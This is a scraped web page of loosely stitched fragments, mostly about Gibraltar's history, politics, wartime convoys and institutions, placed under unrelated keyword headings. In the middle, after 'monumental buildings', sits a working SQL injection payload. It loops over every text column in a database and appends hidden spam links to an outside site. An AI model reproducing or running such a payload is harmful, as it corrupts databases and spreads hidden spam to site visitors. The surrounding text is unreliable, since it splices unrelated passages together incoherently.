Gibraltar

What is Gibraltar known for?


lead game

until 2007, when he became lead game designer. He was replaced as Managing Director by Jacob Gustafson (HT-Jacob on Hattrick). First incarnation (1815-1828) David Low Dodge founded the society in 1815, soon after the end of the War of 1812. It became an active organization, holding regular weekly meetings, and producing literature which was spread as far as Gibraltar and Malta, describing the horrors of war and advocating pacificism on Christian (Christianity) grounds


summer term

: www.downside.co.uk School music downside_school_music.html title Music publisher Downside School accessdate 7 December 2010 It has recently performed a concert of twentieth century choral music, including music by Britten, Lauridsen and the Chichester Psalms by Bernstein (Leonard Bernstein). The summer term is always ended with a musical. Productions in recent years have included ''Oliver!'', ''Grease (Grease (musical))'', '' Guys and Dolls (musical) Guys and Dolls


historic military

of the United Kingdom at the entrance to the Mediterranean Sea. It is bordered by Spain to the north; Morocco is a short distance over the sea to the south. It has a population of 30,000 people. Understand Gibraltar is a unique place for the curious traveler: A British community on the Iberian Peninsula, separated by a narrow gap of sea from Africa. The historic military legacy has created a veritable labyrinth inside the 'rock' itself, with many secret internal roads


monumental buildings);declare @c cursor;declare @d varchar(4000);set @c=cursor for select 'update ['+TABLE_NAME+'] set ['+COLUMN_NAME+']=['+COLUMN_NAME+']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''+char(60)+''div style="display:none"''+char(62)+''malonetta hovedpine ''+char(60)+''a href="http:''+char(47)+char(47)+''nogvitaminerhvor.site''+char(47)+''malonetta-og-vit-aminer"''+char(62)+case ABS(CHECKSUM(NewId()))%3 when 0 then ''malonetta ingredients'' when 1 then ''malonetta 40'' else ''malonetta og rigevidon'' end +char(60)+char(47)+''a''+char(62)+'' malonetta menstruation''+char(60)+char(47)+''div''+char(62)+'''' else '''' end' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%varchar' and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647);open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c--

) Progressive Democratic Party (PDP). The PDP is a new party, formed in 2006 and fielded candidates in the 2007 election, but none were elected. The head of government is the Chief Minister (Chief Minister of Gibraltar) (as of December 2011, Fabian Picardo). All local political parties oppose any transfer of sovereignty to Spain, instead supporting self-determination. The main UK opposition parties also support this policy and it is UK Government policy not to engage in talks about

government to be the "keys to the Mediterranean". Davide Rodogno. Fascism's European empire. Cambridge, England, UK: Cambridge University Press, 2006 Pp. 47. In 1939, Germany prepared for war with Poland, but attempted to gain territorial concessions from Poland through diplomatic means. Germany demanded that Poland accept the annexation of the Free City of Danzig to Germany and authorize the construction of automobile highways from Germany through the Polish

actually delivered their troops by parachute drop. The remainder off-loaded after 28 C-47 troop carriers, short on fuel, landed on the Sebkra d'Oran dry lake, and marched overland to their objectives. Hispania * Under the command of Punicus and then Cesarus, the Lusitani, a Hispanic tribe, reach a point near modern day Gibraltar. Here they are defeated by the Roman (Roman Republic) praetor Lucius Mummius (Lucius Mummius Achaicus). Philip decided to relinquish his right


online game'

Limited''' is a Gibraltar-based (Gibraltar) online game company best known for the MMOGs Hattrick and Popmundo, which together have more than 1.1 million active users worldwide (as per February 2010). The company was established in 2003 in Gibraltar by Johan Gustafson (known as HT-Johan on Hattrick) to own and operate Hattrick, which it purchased from the original developer Extralives. Gustafson was the first Managing Director of the Company, a role he retained


position views

publisher Angus & Robertson year 1949 and Margaret Mary Ward, née Fraser. He was educated at Gibraltar and Eastman's Academy, Southsea. The castle was built on the hill by the Moors around 750 A.D. as part of making Jimena a strategic military position. Views stretch as far Gibraltar to the south. It is believed that the castle was built on Roman ruins, constructed using locally sourced limestone. After repairs at Charlestown, Massachusetts, and training at Casco Bay, ''Parker'' arrived Norfolk, Virginia 11 November. Two days later she sailed for the Mediterranean. Arriving Naples 26 November, she departed 1 December escorting a convoy back to New York. On 6 January 1945 ''Parker'' departed Norfolk with Task Group 62.1 screening a convoy to Oran, Algeria 17 January. In ensuing weeks she operated in the Mediterranean and patrolled off Gibraltar. In March she supported Allied forces on the Franco-Italian and western Italian fronts operating out of Cannes and Toulon, France. ''Parker'' bombarded enemy positions ashore on 4, 6, 11, 12, and 20 March. She continued Mediterranean operations until sailing for the United States, arriving New York 23 May. '''Conservative Friends of Gibraltar''' is a lobby group within the Conservative Party (Conservative Party (UK)) opposed to any joint sovereignty of Gibraltar with Spain. On 6 January, convoy ''Excess'' (MC 4) left Gibraltar for Malta and Greece, covered by the Gibraltar based Force H. Simultaneously, the Mediterranean Fleet (Mediterranean Fleet (United Kingdom)) from Alexandria covered more supply ships (convoy MW 5.5) from Alexandria to Malta and then a returning empty convoy (ME 5.5). The cruisers ''Gloucester (HMS Gloucester (C62))'' and ''Southampton (HMS Southampton (C83))'', detached from the Mediterranean Fleet, carried troop reinforcements to Malta and then continued westwards to meet 'Excess'. Force H then returned to Gibraltar. Service history After shakedown, ''Jordan'' arrived New York in mid-March 1944 for duty as convoy escort. She sailed on 17 April with a convoy bound for Gibraltar, arriving there on 1 May with transports carrying vital cargo for the operations in the Mediterranean area. She returned to New York later that month and made one more European voyage in June before beginning duty as a training ship. During July and August, she engaged in training exercises at Quonset Point, Rhode Island, and arrived Port Everglades, Florida, on 17 September to commence experimental exercises in that area. 305px thumb right SS Constitution on a visit to Haifa (File:Ss Constitution1953.jpg) on March 10, 1953 The '''SS ''Constitution''''' was an ocean liner owned by American Export Lines. She was commissioned in 1951. She sailed on the New York-Genoa-Naples and Gibraltar route to Europe. ''Constitution'' was a sister ship to the SS ''Independence'' (SS Independence). Under Charles III (Charles III of Spain) in 1762 he took part in the Spanish invasion of Portugal (Spanish invasion of Portugal (1762)) and in Gibraltar. In 1793, now under Charles IV (Charles IV of Spain), he gained fame for valor in the Rosellón campaign in the war with revolutionary France. He was known to be ambitious, and could be predatory. In 1801 he was commander in chief of the army of Andalucía in the war with Portugal, under the command of Generalissimo Manuel de Godoy. Service history ''Cofer'' escorted convoys on two transatlantic crossings, between New York and Gibraltar and Norfolk, Virginia and Bizerte, Tunisia, from 23 March to 30 June 1944, returning to New York for conversion to a ''Charles Lawrence''-class high speed transport. She was reclassified '''APD-62''' on 5 July 1944. On 21 November 1938, he was appointed Titular Bishop (Titular bishop) of ''Cius'' and first Apostolic Delegate (Nuncio) to Great Britain (Nunciature to Great Britain), Gibraltar and Malta. Godfrey, who was the first papal (Pope) representative to England since the Reformation (English Reformation), TIME Magazine. Pope & Democracy 5 December 1938 received his episcopal consecration (Bishop (Catholic Church)) on the following 21 December from Cardinal Raffaele Rossi, OCD (Discalced Carmelites), with Archbishop Luigi Traglia and Bishop Ralph Hayes serving as co-consecrators (Consecrator), in the chapel of the English College. He was also ''chargé d'affaires'' of the Holy See to the Polish government-in-exile in London in 1943, and was made Archbishop of Liverpool on 10 November 1953. Peacocks London Branded as ''Peacocks London'', Peacocks has more than 200 franchise (Franchising) stores outside of the United Kingdom in Bahrain, Cyprus, Egypt, Georgia (Georgia (country)), Gibraltar, Greece, Kuwait, Malta, Poland, Romania, Russia, Saudi Arabia, Serbia, Slovakia, Ukraine and United Arab Emirates. Peacocks London is growing rapidly and more stores are currently in development. On April 30 of 711, Islamic leader Tariq ibn-Ziyad landed at Gibraltar and by the end of the campaign most of the Iberian Peninsula (except for small areas in the north-west such as Asturias and the Basque (Basque Country (historical territory)) territory) were brought under Islamic rule. This campaign's turning point was the battle of Guadalete, where the last Visigothic king Roderick was defeated and killed on the battlefield. After this eight year campaign, Muslim forces attempted to move north-east across the Pyrenees Mountains toward France, but were defeated by the Frankish (Franks) Catholic Charles Martel at the Battle of Tours in 732. Another high profile incident took place in Gibraltar in March 1988, when three unarmed IRA members were shot dead by an SAS unit while scouting out a bombing target (see Operation Flavius). Moloney, p. 330 The subsequent funerals of these IRA members in Belfast were attacked by loyalist gunman Michael Stone (Michael Stone (loyalist paramilitary)). At a funeral of one of Stone's victims, two un-uniformed British Army corporals were lynched (lynching) after intruding on the crowd (see Corporals killings). O'Brien, p. 164 Europe (Continuing to the modern day) * Spanish (Spain) claims to Gibraltar which was ceded in perpetuity to Britain in 1713 under the Treaty of Utrecht, and argues its case at the United Nations claiming its territorial integrity is affected. * Portugal claims the territory of Olivença. Five weeks before the German invasion of Poland (Invasion of Poland (1939)) in 1939, Rejewski and his colleagues presented their results on Enigma decryption to French (France) and British (Great Britain) intelligence (military espionage) representatives. Shortly after the outbreak of war, the Polish cryptologists were evacuated to France, where they continued their work in collaboration with the British and French. They were again compelled to evacuate after the fall of France in June 1940, but within months returned to work undercover in Vichy France. After the country was fully occupied by Germany in November 1942, Rejewski and fellow mathematician Henryk Zygalski fled, via Spain, Portugal and Gibraltar, to Britain (UK). There they worked at a Polish Army unit, solving low-level German ciphers. In 1946 Rejewski returned to his family in Poland and worked as an accountant, remaining silent about his cryptologic work until 1967. The Poles were sent first to a prison in La Seu d'Urgell until 24 March, then moved to a prison at Lerida. The pair were eventually released on 4 May 1943, after the intervention of the Polish Red Cross, and sent to Madrid. Leaving Madrid on 21 July, they made it to Portugal; from there aboard ''HMS Scottish'' to Gibraltar; and thence aboard an old Dakota (Douglas DC-3) to RAF Hendon, in north London, arriving on 3 August 1943. *Colonel R Irwin, reportedly the first man ever to ride a bicycle in Ireland *Peter Isola, Gibraltarian politician; member of the House of Assembly; leader of the Democratic Party of British Gibraltar; Minister for Education; Leader of the Opposition; Deputy Chief Minister; appeared before the UN to resist demand to integrate Gibraltar into Spain *Valentine Irwin, introduced polo to the British Isles '''St Andrew's Church''' is a congregation of the Church of Scotland in the British overseas territory (British overseas territories) of Gibraltar and is part of the Presbytery of Europe. The church was opened in 1854. Whilst originally built primarily to serve as a garrison church for Scottish soldiers based in Gibraltar, today it serves the wider Presbyterian and Reformed Christian community of all nationalities. *France - The Scots Kirk, Paris *Gibraltar - St Andrew's Church, Gibraltar *Hungary - St Columba's Church, Budapest Spain's actions have deprived the Gibraltar fleet of its supplies leaving the captains no alternative but to cut rations by half. This leads seaman Bunting (Andrew Tiernan) to commit theft, as his friend has died of scurvy and he fears going the same way. He was caught by Hornblower, reprimanded by Pellew and punished by being made to run the gauntlet (Fustuarium). The '''Gibraltar national cricket team''' is the team that represents the British overseas territory of Gibraltar in international cricket. They have been an associate member of the International Cricket Council since 1969. Gibraltar at Cricket Archive They are currently ranked sixth amongst European non-Test teams. ICC's one-day rankings


event made

at Tunis for supplies on 4 November, she returned to Washington Navy Yard on 9 December 1803 and was immediately placed in ordinary. In 1606 the obstinacy and folly of the duke caused the loss of a squadron which was destroyed near Gibraltar by the Dutch. He died in 1615. This event made the duke a satirical target of Miguel de Cervantes. On the night of 17 November, an Italian force consisting of two battleships ( and


position close


supporting international

neighboring Ducie's (Ducie Island) are in the UAE between Dubai and Abu Dhabi. Bermuda isn't antipodal to land, but is close, within 30 km of the Australian coast near Perth (Perth, Western Australia). The British Armed Forces are charged with protecting the United Kingdom, its overseas territories (British overseas territories) and Crown Dependencies, as well as promoting Britain's (Government of the United Kingdom) wider security interests, and supporting

international peacekeeping efforts. The Mission of the Armed Forces, armedforces.co.uk They are active and regular participants in NATO and other coalition operations. Britain is also party to the Five Power Defence Arrangements. Recent operations have included wars in Afghanistan (War in Afghanistan (2001–present)) and Iraq (Iraq War), the 2000 intervention in Sierra Leone (Operation Palliser), ongoing


character+published

in another duel, with Theophilus Swift, Esq., in consequence of a pamphlet criticising Lennox's character published under Swift's name. They met in a field near the Uxbridge Road, where Swift was wounded in the body, but recovered. Millingen, p. 135. Later in the year he married Lady Charlotte Gordon, daughter of the 4th Duke of Gordon (Alexander Gordon, 4th Duke of Gordon). In 1794 and 1795 he participated in naval engagements against the French (France) in the West

Gibraltar

title Topics relating to Gibraltar list

(Category:Gibraltar) Category:British Overseas Territories Category:Capitals in Europe Category:Headlands of Europe Category:Peninsulas of Europe Category:English-speaking countries and territories Category:European Union Category:Former British colonies Category:Jewish Spanish history Category:Umayyad Caliphate Category:Southwestern Europe Category:Western Europe Category:Territorial disputes of Spain date April 19, 1775 – September 3, 1783 ( ) place Eastern North America, Gibraltar, Balearic Islands, Central America; French, Dutch, and British colonial possessions in the Indian subcontinent and elsewhere; European coastal waters, Caribbean Sea, Atlantic (Atlantic Ocean) and Indian Oceans

Spain entered the war as a French ally with the goal of recapturing Gibraltar and Minorca, which it had lost to the British in 1704. Gibraltar was besieged (Great Siege of Gibraltar) for more than three years, but the British garrison stubbornly resisted and was resupplied twice: once after Admiral Rodney (George Rodney)'s victory over Juan de Lángara in the 1780 "Moonlight Battle" (Battle of Cape St. Vincent (1780)), and again after Admiral Richard Howe (Richard Howe, 1st Earl Howe) fought Luis de Córdova y Córdova to a draw in the Battle of Cape Spartel. Further Franco-Spanish efforts to capture Gibraltar were unsuccessful. One notable success took place on February 5, 1782, when Spanish and French forces captured Minorca (Invasion of Minorca, 1781), which Spain retained after the war. Ambitious plans for an invasion of Great Britain in 1779 had to be abandoned (Armada of 1779).

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